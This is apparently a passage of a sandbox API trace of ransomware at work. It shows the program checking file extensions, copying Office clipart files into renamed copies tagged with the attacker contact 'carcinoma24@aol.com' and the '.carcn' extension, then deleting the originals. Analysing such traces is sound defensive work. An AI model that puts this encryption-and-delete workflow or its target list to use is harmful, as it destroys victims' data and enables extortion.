lstrlenW (lpString=".pdf") returned 4 [0280.058] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0280.058] lstrlenW (lpString=".xls") returned 4 [0280.058] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0280.058] lstrlenW (lpString=".xlsx") returned 5 [0280.058] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0280.058] lstrlenW (lpString=".ppt") returned 4 [0280.058] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0280.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0280.058] lstrlenW (lpString=".zip") returned 4 [0280.058] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0280.058] lstrlenW (lpString=".rar") returned 4 [0280.058] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0280.058] lstrlenW (lpString=".bz2") returned 4 [0280.058] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0280.058] lstrlenW (lpString=".7z") returned 3 [0280.058] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0280.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0280.058] lstrlenW (lpString=".dbf") returned 4 [0280.058] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0280.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0280.058] lstrlenW (lpString=".1cd") returned 4 [0280.058] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0280.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF") returned 68 [0280.059] lstrlenW (lpString=".jpg") returned 4 [0280.059] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0280.060] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=7944) returned 1 [0280.060] CloseHandle (hObject=0x554) returned 1 [0280.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 0x220 [0280.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0280.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0280.061] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.061] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0280.062] GetLastError () returned 0x0 [0280.062] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x1f08, lpOverlapped=0x0) returned 1 [0280.079] WriteFile (in: hFile=0x540, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1f10, lpOverlapped=0x0) returned 1 [0280.081] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0280.081] WriteFile (in: hFile=0x540, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0280.081] SetEndOfFile (hFile=0x540) returned 1 [0280.081] CloseHandle (hObject=0x540) returned 1 [0280.082] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.082] SetEndOfFile (hFile=0x554) returned 1 [0280.085] CloseHandle (hObject=0x554) returned 1 [0280.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0280.086] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 1 [0280.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0280.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0280.089] lstrlenW (lpString=".doc") returned 4 [0280.089] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0280.089] lstrlenW (lpString=".docx") returned 5 [0280.089] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0280.089] lstrlenW (lpString=".pdf") returned 4 [0280.089] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0280.089] lstrlenW (lpString=".xls") returned 4 [0280.089] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0280.089] lstrlenW (lpString=".xlsx") returned 5 [0280.089] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0280.089] lstrlenW (lpString=".ppt") returned 4 [0280.089] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0280.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0280.089] lstrlenW (lpString=".zip") returned 4 [0280.090] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0280.090] lstrlenW (lpString=".rar") returned 4 [0280.090] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0280.090] lstrlenW (lpString=".bz2") returned 4 [0280.090] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0280.090] lstrlenW (lpString=".7z") returned 3 [0280.090] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0280.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0280.090] lstrlenW (lpString=".dbf") returned 4 [0280.090] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0280.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0280.090] lstrlenW (lpString=".1cd") returned 4 [0280.090] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0280.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0280.091] lstrlenW (lpString=".jpg") returned 4 [0280.091] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0280.098] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=17850) returned 1 [0280.099] CloseHandle (hObject=0x4ac) returned 1 [0280.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 0x220 [0280.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0280.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0280.101] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.101] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0280.605] GetLastError () returned 0x0 [0280.605] ReadFile (in: hFile=0x4ac, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x45ba, lpOverlapped=0x0) returned 1 [0280.617] WriteFile (in: hFile=0x414, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x45c0, lpOverlapped=0x0) returned 1 [0280.618] ReadFile (in: hFile=0x4ac, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0280.618] WriteFile (in: hFile=0x414, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0280.618] SetEndOfFile (hFile=0x414) returned 1 [0280.965] CloseHandle (hObject=0x414) returned 1 [0280.965] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.965] SetEndOfFile (hFile=0x4ac) returned 1 [0280.969] CloseHandle (hObject=0x4ac) returned 1 [0280.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0280.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 1 [0280.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0280.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0280.975] lstrlenW (lpString=".doc") returned 4 [0280.975] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0280.975] lstrlenW (lpString=".docx") returned 5 [0280.975] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0280.975] lstrlenW (lpString=".pdf") returned 4 [0280.975] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0280.975] lstrlenW (lpString=".xls") returned 4 [0280.975] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0280.975] lstrlenW (lpString=".xlsx") returned 5 [0280.975] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0280.975] lstrlenW (lpString=".ppt") returned 4 [0280.976] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0280.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0280.976] lstrlenW (lpString=".zip") returned 4 [0280.976] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0280.976] lstrlenW (lpString=".rar") returned 4 [0280.976] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0280.976] lstrlenW (lpString=".bz2") returned 4 [0280.976] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0280.976] lstrlenW (lpString=".7z") returned 3 [0280.976] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0280.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0280.976] lstrlenW (lpString=".dbf") returned 4 [0280.976] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0280.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0280.976] lstrlenW (lpString=".1cd") returned 4 [0280.976] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0280.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0280.976] lstrlenW (lpString=".jpg") returned 4 [0280.976] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0280.977] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=46814) returned 1 [0280.977] CloseHandle (hObject=0x4ac) returned 1 [0280.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 0x220 [0280.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0280.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0280.979] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.979] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0280.981] GetLastError () returned 0x0 [0280.981] ReadFile (in: hFile=0x4ac, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0xb6de, lpOverlapped=0x0) returned 1 [0281.005] WriteFile (in: hFile=0x414, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xb6e0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xb6e0, lpOverlapped=0x0) returned 1 [0281.007] ReadFile (in: hFile=0x4ac, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.007] WriteFile (in: hFile=0x414, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0281.007] SetEndOfFile (hFile=0x414) returned 1 [0281.007] CloseHandle (hObject=0x414) returned 1 [0281.007] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.007] SetEndOfFile (hFile=0x4ac) returned 1 [0281.012] CloseHandle (hObject=0x4ac) returned 1 [0281.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0281.013] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 1 [0281.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0281.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0281.014] lstrlenW (lpString=".doc") returned 4 [0281.014] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.014] lstrlenW (lpString=".docx") returned 5 [0281.015] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.015] lstrlenW (lpString=".pdf") returned 4 [0281.015] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.015] lstrlenW (lpString=".xls") returned 4 [0281.015] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.015] lstrlenW (lpString=".xlsx") returned 5 [0281.015] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.015] lstrlenW (lpString=".ppt") returned 4 [0281.015] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0281.015] lstrlenW (lpString=".zip") returned 4 [0281.015] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.015] lstrlenW (lpString=".rar") returned 4 [0281.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.015] lstrlenW (lpString=".bz2") returned 4 [0281.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.015] lstrlenW (lpString=".7z") returned 3 [0281.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0281.015] lstrlenW (lpString=".dbf") returned 4 [0281.015] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0281.015] lstrlenW (lpString=".1cd") returned 4 [0281.016] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68 [0281.016] lstrlenW (lpString=".jpg") returned 4 [0281.016] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.017] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=6068) returned 1 [0281.017] CloseHandle (hObject=0x4ac) returned 1 [0281.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 0x220 [0281.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0281.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0281.018] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.018] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0281.020] GetLastError () returned 0x0 [0281.020] ReadFile (in: hFile=0x4ac, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x17b4, lpOverlapped=0x0) returned 1 [0281.058] WriteFile (in: hFile=0x414, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x17c0, lpOverlapped=0x0) returned 1 [0281.059] ReadFile (in: hFile=0x4ac, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.060] WriteFile (in: hFile=0x414, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0281.060] SetEndOfFile (hFile=0x414) returned 1 [0281.060] CloseHandle (hObject=0x414) returned 1 [0281.060] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.060] SetEndOfFile (hFile=0x4ac) returned 1 [0281.069] CloseHandle (hObject=0x4ac) returned 1 [0281.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0281.070] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 1 [0281.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0281.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0281.071] lstrlenW (lpString=".doc") returned 4 [0281.071] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.071] lstrlenW (lpString=".docx") returned 5 [0281.071] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.071] lstrlenW (lpString=".pdf") returned 4 [0281.071] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.071] lstrlenW (lpString=".xls") returned 4 [0281.072] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.072] lstrlenW (lpString=".xlsx") returned 5 [0281.072] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.072] lstrlenW (lpString=".ppt") returned 4 [0281.072] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0281.072] lstrlenW (lpString=".zip") returned 4 [0281.072] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.072] lstrlenW (lpString=".rar") returned 4 [0281.072] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.072] lstrlenW (lpString=".bz2") returned 4 [0281.072] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.072] lstrlenW (lpString=".7z") returned 3 [0281.072] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0281.072] lstrlenW (lpString=".dbf") returned 4 [0281.072] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0281.072] lstrlenW (lpString=".1cd") returned 4 [0281.072] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0281.073] lstrlenW (lpString=".jpg") returned 4 [0281.073] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.073] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=4074) returned 1 [0281.073] CloseHandle (hObject=0x4ac) returned 1 [0281.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 0x220 [0281.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0281.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: 